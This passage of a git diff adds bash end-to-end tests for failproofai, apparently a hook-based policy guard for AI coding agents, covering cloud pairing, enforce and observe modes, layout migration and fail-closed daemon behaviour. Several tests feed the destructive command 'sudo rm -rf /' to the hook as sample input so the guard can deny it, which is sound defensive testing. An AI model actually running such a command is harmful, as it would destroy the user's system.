"state/ created" "$([ -d "$H/home/state" ] && echo y || echo n)" "y" +check "cursors/ at top level" "$([ -d "$H/home/cursors" ] && echo y || echo n)" "y" +check "health under state/" "$([ -f "$H/home/state/collector-health.json" ] && echo y || echo n)" "y" +check "NO legacy spool/ at root" "$([ -d "$H/home/spool" ] && echo y || echo n)" "n" +check "NO legacy collector-health.json at root" "$([ -f "$H/home/collector-health.json" ] && echo y || echo n)" "n" + +printf '\n=== 4. HOOK DECISIONS REACH CLICKHOUSE ===\n' +for i in 1 2 3; do + printf '{"session_id":"e2e-cloud","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"sudo rm -rf /"}}' "$H" \ + | $CLI --hook PreToolUse --cli claude >/dev/null 2>&1 +done +D=$(printf '{"session_id":"e2e-cloud","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"sudo id"}}' "$H" | $CLI --hook PreToolUse --cli claude 2>/dev/null) +has "block-sudo denies" "$D" '"permissionDecision":"deny"' +printf ' waiting for the collector to ship…\n' +for i in $(seq 1 24); do + N=$(curl -s -m 5 "$CH/?query=SELECT+count()+FROM+agenteye.events+WHERE+session_id='e2e-cloud'+FORMAT+TSV" 2>/dev/null | tr -d '[:space:]') + [ -n "${N:-}" ] && [ "$N" != "0" ] && break + sleep 5 +done +if [ -n "${N:-}" ] && [ "$N" != "0" ]; then ok "hook events landed in ClickHouse (n=$N)"; else bad "hook events landed in ClickHouse" "count=$N"; fi +HN=$(curl -s -m 5 "$CH/?query=SELECT+count()+FROM+agenteye.events+WHERE+hook_name='PreToolUse'+FORMAT+TSV" 2>/dev/null | tr -d '[:space:]') +if [ "${HN:-0}" != "0" ]; then ok "PreToolUse decisions recorded server-side (n=$HN)"; else bad "PreToolUse recorded" "0"; fi + +printf '\n=== 5. SPOOL DRAINS (delivery actually completed) ===\n' +LEFT=$(find "$H/home/state/spool" -type f 2>/dev/null | wc -l) +check "spool drained" "$LEFT" "0" +check "nothing parked in failed/" "$(find "$H/home/state/failed" -type f 2>/dev/null | wc -l)" "0" + +printf '\n=== 6. DISCONNECT RETURNS THE MACHINE TO OSS ===\n' +kill -TERM $DPID 2>/dev/null; sleep 3 +DIS=$($CLI config --disconnect 2>&1) +has "reports disconnection" "$DIS" "Disconnected" +has "mode back to oss" "$(cat "$H/home/config.toml")" 'kind = "oss"' +CRED=$(cat "$H/home/credentials.toml" 2>/dev/null || echo "") +hasnt "cloud token gone" "$CRED" "$KEY" + +printf '\n=== 7. OSS MODE IS PROVABLY SILENT ===\n' +BEFORE=$(curl -s -m 5 "$CH/?query=SELECT+count()+FROM+agenteye.events+FORMAT+TSV" | tr -d '[:space:]') +for i in 1 2 3; do + printf '{"session_id":"oss-silent","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"sudo id"}}' "$H" \ + | $CLI --hook PreToolUse --cli claude >/dev/null 2>&1 +done +sleep 5 +AFTER=$(curl -s -m 5 "$CH/?query=SELECT+count()+FROM+agenteye.events+WHERE+session_id='oss-silent'+FORMAT+TSV" | tr -d '[:space:]') +check "no OSS-mode events reached the server" "${AFTER:-0}" "0" + +pkill -f "$H/run" 2>/dev/null +printf '\n=== RESULT: %s passed, %s failed ===\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/e2e/layout/cloud-pairing.sh b/__tests__/e2e/layout/cloud-pairing.sh new file mode 100755 index 00000000..fe133bea --- /dev/null +++ b/__tests__/e2e/layout/cloud-pairing.sh @@ -0,0 +1,255 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────────────────────── +# Pairs a machine with a REAL AgentEye deployment and proves the whole chain: +# +# key introspection -> permission gating -> enrolment -> daemon pull -> +# artifact integrity -> ENFORCE -> OBSERVE -> ingest reaching the server +# +# Everything here talks to the live stack on :8080 and a real failproofaid +# process. Nothing is mocked. +# ───────────────────────────────────────────────────────────────────────────── +set -uo pipefail + +R="$(cd "$(dirname "${BASH_SOURCE[0]}")/../../.." && pwd)" +API=http://localhost:8080 +OPS=k-ops-e2e-55555555 +K_BOTH=k-both-33333333 +K_EVENTS=k-events-only-11111111 +K_POLICIES=k-policies-only-22222222 +K_NEITHER=k-neither-44444444 +MACHINE=e2e-machine +DAEMON="$R/target/release/failproofaid" +CLI="$R/dist/cli.mjs" + +H=/tmp/fpai-e2e-home +FAKEHOME=/tmp/fpai-e2e-fakehome +LOG=/tmp/fpai-e2e-daemon.log + +PASS=0; FAIL=0 +ok() { PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad() { FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } +has() { if printf '%s' "$2" | grep -qF -- "$3"; then ok "$1"; else bad "$1" "missing [$3] in: $(printf '%s' "$2" | tr '\n' ' ' | head -c 260)"; fi; } +hasnt() { if printf '%s' "$2" | grep -qF -- "$3"; then bad "$1" "unexpected [$3] in: $(printf '%s' "$2" | tr '\n' ' ' | head -c 260)"; else ok "$1"; fi; } +eq() { if [ "$2" = "$3" ]; then ok "$1"; else bad "$1" "want [$3] got [$2]"; fi; } +head1() { printf '\n\033[1m── %s\033[0m\n' "$1"; } + +stop_daemon() { + [ -n "${DPID:-}" ] && kill "$DPID" 2>/dev/null + # Any stragglers from an earlier run — matched on the binary path, never via + # `pkill -f`, which also matches this script's own command line. + pkill -x failproofaid 2>/dev/null + sleep 1 +} +trap stop_daemon EXIT + +reset_home() { + rm -rf "$H" "$FAKEHOME"; mkdir -p "$H" "$FAKEHOME" +} + +connect() { # [extra args...] + local tok="$1"; shift + FAILPROOFAI_HOME="$H" node "$CLI" config --connect "$API" \ + --token "$tok" --machine-id "$MACHINE" "$@" 2>&1 +} + +api() { # [json] + local m="$1" p="$2" t="$3" body="${4:-}" + if [ -n "$body" ]; then + curl -s -m 15 -X "$m" -H "Authorization: Bearer $t" -H 'Content-Type: application/json' \ + -d "$body" "$API$p" + else + curl -s -m 15 -X "$m" -H "Authorization: Bearer $t" "$API$p" + fi +} + +jqp() { python3 -c "import sys,json;d=json.load(sys.stdin);print(eval('d'+sys.argv[1]))" "$1" 2>/dev/null; } + +hook() { # -> the raw hook JSON response + printf '{"session_id":"e2e-sess","cwd":"%s","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"%s"}}' \ + "$H" "$1" | FAILPROOFAI_HOME="$H" HOME="$FAKEHOME" node "$CLI" --hook PreToolUse --cli claude 2>&1 +} + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 0 — preconditions" +curl -s -m 5 -o /dev/null -w '' "$API/health" && ok "AgentEye is up on $API" || bad "AgentEye is up" "no /health" +[ -x "$DAEMON" ] && ok "failproofaid binary built" || bad "failproofaid binary built" "$DAEMON missing" +[ -f "$CLI" ] && ok "CLI bundle built" || bad "CLI bundle built" "$CLI missing" + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 1 — the key is checked BEFORE it is used (live introspect)" + +reset_home +OUT=$(connect "$K_BOTH") +has "a key with both permissions connects" "$OUT" "Connected to $API as $MACHINE" +has "…and the server's own org is named back to the user" "$OUT" "FailproofAI (failproofai)" +has "…policy capability configured" "$OUT" "Policy" +has "…dashboard capability configured" "$OUT" "hook activity will be sent" +has "…and ingest targets the VERSIONED route" "$OUT" "$API/v1/events" +CREDS=$(cat "$H/credentials.toml") +has "credentials.toml carries the policy token" "$CREDS" '[cloud]' +has "…the ingest key" "$CREDS" '[ingest]' +has "…and the org, recorded once" "$CREDS" '[org]' +has "…by slug" "$CREDS" 'slug = "failproofai"' +eq "credentials.toml is owner-only" "$(stat -c '%a' "$H/credentials.toml")" "600" +STATUS=$(FAILPROOFAI_HOME="$H" node "$CLI" config --status 2>&1) +has "--status reports the org offline" "$STATUS" "failproofai" +hasnt "--status never prints the token" "$STATUS" "$K_BOTH" + +reset_home +OUT=$(connect "$K_EVENTS") +has "an events-only key still configures the dashboard" "$OUT" "dashboard reporting only" +has "…and names the missing permission, not a generic 403" "$OUT" "policies:pull" +has "…identifying the org the key IS valid for" "$OUT" "FailproofAI (failproofai)" +[ -f "$H/credentials.toml" ] && has "…records the org with no [cloud] table" "$(cat "$H/credentials.toml")" '[org]' \ + || bad "…records the org with no [cloud] table" "no credentials.toml" +hasnt "…and writes no policy credential it cannot use" "$(cat "$H/credentials.toml")" '[cloud]' + +reset_home +OUT=$(connect "$K_POLICIES") +has "a policies-only key still enrols for policy" "$OUT" "for policy only" +has "…and names the missing ingest permission" "$OUT" "events:add" +hasnt "…and writes no ingest credential" "$(cat "$H/credentials.toml")" '[ingest]' + +reset_home +OUT=$(connect "$K_NEITHER") +has "a key with neither permission is refused" "$OUT" "Could not connect" +has "…naming events:add" "$OUT" "events:add" +has "…and policies:pull" "$OUT" "policies:pull" +[ -f "$H/credentials.toml" ] && bad "…and writes nothing at all" "credentials.toml exists" || ok "…and writes nothing at all" +CFG=$(cat "$H/config.toml" 2>/dev/null) +hasnt "…leaving the machine in oss mode, provably silent" "$CFG" 'kind = "cloud"' + +reset_home +OUT=$(connect "not-a-real-key") +has "a key the server rejects is reported as rejected" "$OUT" "did not accept" +[ -f "$H/credentials.toml" ] && bad "…and writes nothing" "credentials.toml exists" || ok "…and writes nothing" + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 2 — author and deploy a cloud-managed policy" + +POLICY_SRC='import { customPolicies, deny, allow } from "failproofai"; +customPolicies.add({ + name: "e2e-cloud-guard", + description: "E2E cloud-managed guard", + match: { events: ["PreToolUse"], tools: ["Bash"] }, + fn: async (ctx) => /forbidden-by-cloud/.test(String(ctx.toolInput?.command ?? "")) + ? deny("blocked by the cloud-managed policy") + : allow(), +}); +' +BODY=$(python3 -c "import json,sys;print(json.dumps({'id':'e2e-cloud-guard','description':'e2e','source':sys.stdin.read()}))" <<< "$POLICY_SRC") +PUB=$(api POST /enforcement/policies "$OPS" "$BODY") +REV=$(printf '%s' "$PUB" | jqp "['revision']") +[ -n "$REV" ] && ok "policy published (revision $REV)" || bad "policy published" "$PUB" + +DEP=$(api PUT "/enforcement/deployments/$MACHINE" "$OPS" \ + "{\"policies\":[{\"id\":\"e2e-cloud-guard\",\"revision\":$REV}]}") +GEN=$(printf '%s' "$DEP" | jqp "['generation']") +[ -n "$GEN" ] && ok "policy deployed to $MACHINE (generation $GEN)" || bad "policy deployed" "$DEP" + +DS=$(api GET "/enforcement/v1/desired-state?machineId=$MACHINE" "$OPS") +eq "desired-state names the policy" "$(printf '%s' "$DS" | jqp "['policies'][0]['id']")" "e2e-cloud-guard" +eq "…defaulting to enforce, never to observe" "$(printf '%s' "$DS" | jqp "['policies'][0]['effect']")" "enforce" + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 3 — the daemon pulls it, verifies it, and the CLI can read it" + +reset_home +connect "$K_BOTH" >/dev/null +python3 - "$H/config.toml" <<'PY' +import sys, pathlib +p = pathlib.Path(sys.argv[1]); s = p.read_text() +# What `failproofai config` sets after a successful service install. Set here +# directly because installing a system unit needs root this run does not have. +s = s.replace("configured = false", "configured = true") +p.write_text(s) +PY +has "machine marked daemon-configured" "$(cat "$H/config.toml")" "configured = true" + +FAILPROOFAI_HOME="$H" HOME="$FAKEHOME" \ + FAILPROOFAI_WORKER_COMMAND="$(command -v node) $R/dist/worker.mjs" \ + FAILPROOFAI_CLOUD_POLICY_POLL_MS=1000 \ + "$DAEMON" >"$LOG" 2>&1 & +DPID=$! +sleep 8 + +SOCK=$(grep -o 'listening on /[^ ]*failproofaid.sock' "$LOG" | head -1) +has "the daemon binds inside FAILPROOFAI_HOME, where the CLI looks" "$SOCK" "$H/run/failproofaid.sock" +hasnt "cloud polling is NOT disabled on an enrolled machine" "$(cat "$LOG")" "cloud-managed policy polling disabled" + +ACTIVE="$H/policies/cloud-policies/active.json" +for _ in 1 2 3 4 5 6 7 8 9 10; do [ -f "$ACTIVE" ] && break; sleep 1; done +[ -f "$ACTIVE" ] && ok "the pulled generation lands where the CLI reads it" \ + || bad "the pulled generation lands where the CLI reads it" "no $ACTIVE" +MAN=$(cat "$ACTIVE" 2>/dev/null) +has "…naming the deployed policy" "$MAN" "e2e-cloud-guard" +has "…with its content hash" "$MAN" "sha256" + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 4 — ENFORCE: the cloud policy actually blocks" + +OUT=$(hook "echo forbidden-by-cloud") +has "a command the cloud policy forbids is DENIED" "$OUT" '"permissionDecision":"deny"' +has "…for the policy's stated reason" "$OUT" "blocked by the cloud-managed policy" +hasnt "…denied by the policy, not by a fail-closed daemon" "$OUT" "could not be reached" + +OUT=$(hook "echo hello") +hasnt "an unrelated command is not denied" "$OUT" '"permissionDecision":"deny"' + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 5 — OBSERVE: evaluated, recorded, never blocking" + +api PUT "/enforcement/deployments/$MACHINE" "$OPS" \ + "{\"policies\":[{\"id\":\"e2e-cloud-guard\",\"revision\":$REV,\"effect\":\"observe\"}]}" >/dev/null +DS=$(api GET "/enforcement/v1/desired-state?machineId=$MACHINE" "$OPS") +eq "the same policy is redeployed as observe" "$(printf '%s' "$DS" | jqp "['policies'][0]['effect']")" "observe" + +for _ in 1 2 3 4 5 6 7 8 9 10 11 12; do + grep -qE '"effect":\s*"observe"' "$ACTIVE" 2>/dev/null && break; sleep 1 +done +if grep -qE '"effect":\s*"observe"' "$ACTIVE" 2>/dev/null; then + ok "the daemon picks up the effect change with no restart" +else + bad "the daemon picks up the effect change with no restart" "$(cat "$ACTIVE")" +fi + +# Count first, never delete: the collector is tailing this file, and removing +# it out from under the tailer would be testing our own cleanup, not the product. +BEFORE=$(wc -l < "$H/hook-activity/current.jsonl" 2>/dev/null || echo 0) +OUT=$(hook "echo forbidden-by-cloud") +hasnt "the SAME command is no longer blocked" "$OUT" '"permissionDecision":"deny"' +sleep 2 +# The decision log records decisions, not command text (hooks_verbosity = +# "decisions"), so the new record is identified by position, not by grep. +REC=$(tail -n +$((BEFORE + 1)) "$H/hook-activity/current.jsonl" 2>/dev/null | tail -1) +has "…the record allowed it" "$REC" '"decision":"allow"' +has "…but says what it WOULD have done" "$REC" '"observed"' +has "…naming the policy" "$REC" "e2e-cloud-guard" +has "…and the verdict it discarded" "$REC" '"decision":"deny"' + +# ═════════════════════════════════════════════════════════════════════════════ +head1 "PHASE 6 — the activity reaches the server" + +ch() { curl -s -m 15 "http://localhost:8123/" --data-binary "$1"; } + +for _ in $(seq 1 20); do + COUNT=$(ch "select count() from agenteye.events where session_id = 'e2e-sess'" | tr -d ' \n') + [ "${COUNT:-0}" -gt 0 ] && break + sleep 2 +done +[ "${COUNT:-0}" -gt 0 ] && ok "hook activity reached the server ($COUNT events)" \ + || bad "hook activity reached the server" "0 events after 40s" + +PAY=$(ch "select payload from agenteye.events where session_id = 'e2e-sess' and payload like '%observed%' limit 1") +has "…and the observe verdict travelled with it" "$PAY" "failproofai_observed" +has "…naming the cloud policy" "$PAY" "e2e-cloud-guard" +has "…the verdict it would have returned" "$PAY" '"decision":"deny"' +has "…while the action itself was allowed" "$PAY" '"outcome":"allow"' +has "…stamped with this machine" "$PAY" '"machine_id":"e2e-machine"' +has "…and the generation it enforced from" "$PAY" '"cloud_generation"' + +DENIED=$(ch "select payload from agenteye.events where session_id = 'e2e-sess' and payload like '%\"outcome\":\"deny\"%' limit 1") +has "the ENFORCE-mode denial also reached the server" "$DENIED" "e2e-cloud-guard" + +printf '\n\033[1m═══ %s passed, %s failed ═══\033[0m\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/e2e/layout/hook-activity-migration.sh b/__tests__/e2e/layout/hook-activity-migration.sh new file mode 100755 index 00000000..c5476640 --- /dev/null +++ b/__tests__/e2e/layout/hook-activity-migration.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# End-to-end: a REAL layout-1 home, upgraded by the REAL CLI, with the inode +# checked before and after. Units can assert the move; only this shows a user's +# history surviving an upgrade driven by the actual binary. +set -uo pipefail +R="$(cd "$(dirname "${BASH_SOURCE[0]}")/../../.." && pwd)" +H=/tmp/fpai-mig-home +PASS=0; FAIL=0 +ok(){ PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad(){ FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } + +rm -rf "$H"; mkdir -p "$H/cache/hook-activity" "$H/cache/audit" "$H/cursors" "$H/policies" + +# A layout-1 home: activity pages, an audit cache, cursors, a policy config. +for i in 0 1 2; do + printf '{"timestamp":%s,"eventType":"PreToolUse","toolName":"Bash","decision":"deny","reason":"page-%s"}\n' \ + "$((1785000000000+i))" "$i" > "$H/cache/hook-activity/page-1785000000-$i.jsonl" +done +printf '{"timestamp":1785999999999,"eventType":"PreToolUse","toolName":"Bash","decision":"allow","reason":"live"}\n' \ + > "$H/cache/hook-activity/current.jsonl" +printf '4\n' > "$H/cache/hook-activity/current.count" +printf '{"total":4}\n' > "$H/cache/hook-activity/stats.json" +printf '{"enabledPolicies":["block-sudo"]}' > "$H/policies-config.json" +printf '{"files":[{"path":"x","dev":1,"inode":2,"offset":10}]}' > "$H/cursors/hooks.json" +printf '{}' > "$H/cache/audit/report.json" + +printf '\n\033[1m── layout 1, before ──\033[0m\n' +printf ' activity pages: %s\n' "$(ls "$H/cache/hook-activity"/*.jsonl | wc -l)" +INO_BEFORE=$(stat -c %i "$H/cache/hook-activity/page-1785000000-0.jsonl") +printf ' inode of page-0: %s\n' "$INO_BEFORE" + +printf '\n\033[1m── run the REAL CLI (triggers the layout reset) ──\033[0m\n' +# NOT --version or --help: both are deliberately exempt from the layout check, +# so neither triggers a reset. `config --status` is an ordinary command. +OUT=$(FAILPROOFAI_HOME="$H" node "$R/dist/cli.mjs" config --status 2>&1) +printf '%s\n' "$OUT" | sed 's/^/ /' | head -10 + +printf '\n\033[1m── did the history survive? ──\033[0m\n' +COUNT=$(ls "$H/hook-activity"/*.jsonl 2>/dev/null | wc -l) +[ "$COUNT" -eq 4 ] && ok "all 4 pages carried over (3 pages + current)" || bad "4 pages" "got $COUNT" +grep -qr "page-0" "$H/hook-activity" 2>/dev/null && ok "the oldest page's records are intact" || bad "records intact" +grep -qr '"live"' "$H/hook-activity" 2>/dev/null && ok "the legacy current.jsonl was carried too" || bad "current carried" + +printf '\n\033[1m── INODE PRESERVED (no re-ship) ──\033[0m\n' +MOVED=$(grep -lr "page-0" "$H/hook-activity" 2>/dev/null | head -1) +if [ -n "$MOVED" ]; then + INO_AFTER=$(stat -c %i "$MOVED") + [ "$INO_AFTER" = "$INO_BEFORE" ] && ok "inode unchanged ($INO_AFTER) — cursors still resume" \ + || bad "inode preserved" "before=$INO_BEFORE after=$INO_AFTER (a COPY would do this)" +else + bad "found the moved page" "none" +fi + +printf '\n\033[1m── cursors kept ──\033[0m\n' +[ -f "$H/cursors/hooks.json" ] && ok "the cursor file survived the reset" || bad "cursors kept" + +printf '\n\033[1m── and the rest of layout 1 IS gone ──\033[0m\n' +[ -d "$H/cache/audit" ] && bad "audit cache removed" "still there" || ok "audit cache removed" +[ -f "$H/policies-config.json" ] && bad "layout-1 policy config removed" "still there" || ok "layout-1 policy config removed" +[ -d "$H/cache/hook-activity" ] && printf ' (legacy dir left in place, now empty — harmless)\n' || true + +printf '\n\033[1m── the message tells the user ──\033[0m\n' +printf '%s' "$OUT" | grep -qi "decision history were kept" && ok "says the history was kept" || bad "message" "$(printf '%s' "$OUT"|head -3)" +printf '%s' "$OUT" | grep -qi "Carried .* page" && ok "…and how many pages" || bad "page count in message" + +printf '\n\033[1m═══ %s passed, %s failed ═══\033[0m\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/e2e/layout/layout-reset.sh b/__tests__/e2e/layout/layout-reset.sh new file mode 100755 index 00000000..a3e83026 --- /dev/null +++ b/__tests__/e2e/layout/layout-reset.sh @@ -0,0 +1,100 @@ +#!/usr/bin/env bash +# E2E pass 1 — layout, reset, OSS gating, collector, all against a throwaway +# HOME on the host. No root, nothing touching the operator's real state. +set -uo pipefail +REPO=/home/sidd/Desktop/work-failproofai/failproofai +CLI="node $REPO/dist/cli.mjs" +H=/tmp/fpai-e2e +PASS=0; FAIL=0 +ok() { PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad() { FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } +check(){ if [ "$2" = "$3" ]; then ok "$1"; else bad "$1" "expected [$3] got [$2]"; fi; } +has() { if printf '%s' "$2" | grep -q "$3"; then ok "$1"; else bad "$1" "missing [$3] in: $(printf '%s' "$2" | head -c 160)"; fi; } +hasnt(){ if printf '%s' "$2" | grep -q "$3"; then bad "$1" "unexpected [$3]"; else ok "$1"; fi; } + +rm -rf "$H"; mkdir -p "$H/proj" +export FAILPROOFAI_HOME="$H/home" +export FAILPROOFAI_NO_FIRST_RUN=1 # the wizard needs a TTY; tested separately + +printf '\n=== 1. FRESH HOME: VERSION stamped, nothing else invented ===\n' +$CLI policies >/dev/null 2>&1 +check "VERSION exists" "$([ -f "$H/home/VERSION" ] && echo y || echo n)" "y" +has "layout recorded" "$(cat "$H/home/VERSION" 2>/dev/null)" "layout = 2" +check "no credentials on a fresh home" "$([ -f "$H/home/credentials.toml" ] && echo y || echo n)" "n" + +printf '\n=== 2. OSS MODE IS THE DEFAULT AND IS SILENT ===\n' +OUT=$($CLI config --status 2>&1) +hasnt "status does not claim a connection" "$OUT" "Connected to" + +printf '\n=== 3. HOOKS WRITE TO THE NEW LAYOUT ===\n' +mkdir -p "$H/home/policies/local-policies" +printf '{"enabledPolicies":["block-sudo"]}' > "$H/home/policies/local-policies/policies-config.json" +DENY=$(printf '{"session_id":"e2e","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"sudo rm -rf /"}}' "$H" | $CLI --hook PreToolUse --cli claude 2>/dev/null) +has "global policy from local-policies/ fires" "$DENY" '"permissionDecision":"deny"' +check "hook-activity is top-level, not under cache/" "$([ -d "$H/home/hook-activity" ] && echo y || echo n)" "y" +check "no cache/ dir is recreated" "$([ -d "$H/home/cache" ] && echo y || echo n)" "n" + +printf '\n=== 4. ALLOW STILL ALLOWS ===\n' +ALLOW=$(printf '{"session_id":"e2e","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"ls -la"}}' "$H" | $CLI --hook PreToolUse --cli claude 2>/dev/null) +check "harmless command allowed" "${ALLOW:-empty}" "empty" + +printf '\n=== 5. STALE LAYOUT: hook WARNS, deletes nothing, never denies ===\n' +S="$H/stale"; mkdir -p "$S/cache/hook-activity" +printf '{"enabledPolicies":["block-sudo"]}' > "$S/policies-config.json" +printf '{"url":"https://x","key":"k"}' > "$S/ingest.json" +echo '{}' > "$S/cache/hook-activity/current.jsonl" +WARN=$(printf '{"session_id":"e2e","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"ls"}}' "$H" | FAILPROOFAI_HOME="$S" FAILPROOFAI_HOOK_DEBUG=1 $CLI --hook PreToolUse --cli claude 2>&1 >/dev/null) +has "hook warns about the stale layout" "$WARN" "NOT being enforced" +check "hook deleted nothing" "$([ -f "$S/policies-config.json" ] && echo y || echo n)" "y" +RC=$(printf '{"session_id":"e2e","cwd":"%s/proj","hook_event_name":"UserPromptSubmit","prompt":"hi"}' "$H" | FAILPROOFAI_HOME="$S" $CLI --hook UserPromptSubmit --cli claude >/dev/null 2>&1; echo $?) +check "UserPromptSubmit is NOT denied (no lockout)" "$RC" "0" + +printf '\n=== 6. STALE LAYOUT: a CLI command resets it, visibly ===\n' +RESET=$(FAILPROOFAI_HOME="$S" $CLI policies 2>&1 >/dev/null) +has "reset explains itself" "$RESET" "reorganised" +has "reset points at config" "$RESET" "failproofai config" +check "old policy config removed" "$([ -f "$S/policies-config.json" ] && echo y || echo n)" "n" +check "old ingest credential removed" "$([ -f "$S/ingest.json" ] && echo y || echo n)" "n" +check "old cache/ removed" "$([ -d "$S/cache" ] && echo y || echo n)" "n" +has "VERSION now current" "$(cat "$S/VERSION" 2>/dev/null)" "layout = 2" +AGAIN=$(FAILPROOFAI_HOME="$S" $CLI policies 2>&1 >/dev/null) +hasnt "second run does not re-announce a reset" "$AGAIN" "reorganised" + +printf '\n=== 7. FUTURE LAYOUT: refused, never deleted ===\n' +F="$H/future"; mkdir -p "$F" +printf 'layout = 99\ncli = "9.9.9"\n' > "$F/VERSION" +printf '[mode]\nkind = "cloud"\n' > "$F/config.toml" +FUT=$(FAILPROOFAI_HOME="$F" $CLI policies 2>&1 >/dev/null); FRC=$? +has "refuses a newer layout" "$FUT" "newer version" +check "exits nonzero" "$FRC" "1" +check "future config NOT deleted" "$([ -f "$F/config.toml" ] && echo y || echo n)" "y" + +printf '\n=== 8. BINARY AND SOCKETS SURVIVE A RESET ===\n' +S2="$H/stale2"; mkdir -p "$S2/bin" "$S2/run" "$S2/cache" +echo ELF > "$S2/bin/failproofaid-1.0.0"; echo "" > "$S2/run/failproofaid.lock" +printf '{"enabledPolicies":[]}' > "$S2/policies-config.json" +FAILPROOFAI_HOME="$S2" $CLI policies >/dev/null 2>&1 +check "daemon binary kept (avoids a needless refetch)" "$([ -f "$S2/bin/failproofaid-1.0.0" ] && echo y || echo n)" "y" +check "run/ kept (may belong to a live daemon)" "$([ -f "$S2/run/failproofaid.lock" ] && echo y || echo n)" "y" + +printf '\n=== 9. CREDENTIALS ARE OWNER-ONLY, AND CONFIG NEVER HOLDS A TOKEN ===\n' +node -e ' +process.env.FAILPROOFAI_HOME = process.argv[1]; +const { writeCredentials } = require("'$REPO'/dist/index.js"); +' 2>/dev/null || true +FAILPROOFAI_HOME="$H/home" node -e ' +const {writeCredentials}=require("'"$REPO"'/src/hooks/fp-config.ts"); +' 2>/dev/null || true +# Use the CLI surface instead: --connect writes both files. +CONN=$(FAILPROOFAI_HOME="$H/home" $CLI config --connect http://127.0.0.1:9 --token TOPSECRETKEY123 2>&1); : +if [ -f "$H/home/credentials.toml" ]; then + MODE=$(stat -c '%a' "$H/home/credentials.toml") + check "credentials.toml is 0600" "$MODE" "600" + hasnt "config.toml never holds the token" "$(cat "$H/home/config.toml" 2>/dev/null)" "TOPSECRETKEY123" +else + ok "no credential written for an unreachable endpoint (verify-before-write)" + hasnt "mode stayed oss on a failed connect" "$(cat "$H/home/config.toml" 2>/dev/null)" 'kind = "cloud"' +fi + +printf '\n=== RESULT: %s passed, %s failed ===\n' "$PASS" "$FAIL" +[ "$FAIL" -eq 0 ] diff --git a/__tests__/e2e/layout/protocol-fallback.sh b/__tests__/e2e/layout/protocol-fallback.sh new file mode 100755 index 00000000..d026ea0d --- /dev/null +++ b/__tests__/e2e/layout/protocol-fallback.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# A daemon-configured machine has exactly ONE evaluator, and this proves it with +# a REAL CLI process: when the daemon cannot answer — for ANY reason — the call +# is denied, and in-process evaluation is never reached. +# +# This asserted the opposite until enforcement was made daemon-only. A protocol +# mismatch used to fall back to in-process on the grounds that a daemon which +# answered is demonstrably alive. That fallback was a second policy engine +# reachable by breaking the first, so it is gone; what survives from it is the +# MESSAGE, which still names which of the two failures happened, because the +# remedies differ (upgrade the daemon vs. find out why it is down). +set -uo pipefail +R=/home/sidd/Desktop/work-failproofai/failproofai +H=/tmp/fpai-proto +PASS=0; FAIL=0 +ok(){ PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad(){ FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } +has(){ if printf '%s' "$2" | grep -q "$3"; then ok "$1"; else bad "$1" "missing [$3] in: $(printf '%s' "$2"|head -c 220)"; fi; } +hasnt(){ if printf '%s' "$2" | grep -q "$3"; then bad "$1" "unexpected [$3]"; else ok "$1"; fi; } + +rm -rf "$H"; mkdir -p "$H/run" "$H/policies/local-policies" "$H/proj" +chmod 700 "$H/run" +printf '{"enabledPolicies":["block-sudo"]}' > "$H/policies/local-policies/policies-config.json" +printf '[mode]\nkind = "oss"\n\n[daemon]\nconfigured = true\n' > "$H/config.toml" +printf 'layout = 2\ncli = "1.0.0-beta.5"\n' > "$H/VERSION" + +# A daemon that answers every request stamped with a DIFFERENT protocol version +# — exactly what an old daemon does after the CLI bumps PROTOCOL_VERSION. +cat > "$H/fake-daemon.mjs" <<'JS' +import { createServer } from "node:net"; +const enc = (v) => { const b = Buffer.from(JSON.stringify(v), "utf8"); + const h = Buffer.alloc(4); h.writeUInt32BE(b.length, 0); return Buffer.concat([h, b]); }; +createServer((s) => { + s.on("data", () => s.end(enc({ type: "error", protocolVersion: 99, + message: "protocol version mismatch: daemon speaks 99, client sent 1" }))); +}).listen(process.env.SOCK); +JS +SOCK="$H/run/failproofaid.sock" node "$H/fake-daemon.mjs" & +FD=$! +sleep 2 +[ -S "$H/run/failproofaid.sock" ] && ok "mismatched daemon is listening" || bad "daemon listening" "no socket" + +hook() { printf '{"session_id":"p","cwd":"%s/proj","hook_event_name":"PreToolUse","tool_name":"Bash","tool_input":{"command":"%s"}}' "$H" "$1" \ + | FAILPROOFAI_HOME="$H" node "$R/dist/cli.mjs" --hook PreToolUse --cli claude 2>&1; } + +printf '\n=== PROTOCOL MISMATCH: denies, and says WHICH failure it was ===\n' +OUT=$(hook "ls -la") +has "a daemon that cannot answer denies" "$OUT" '"permissionDecision":"deny"' +has 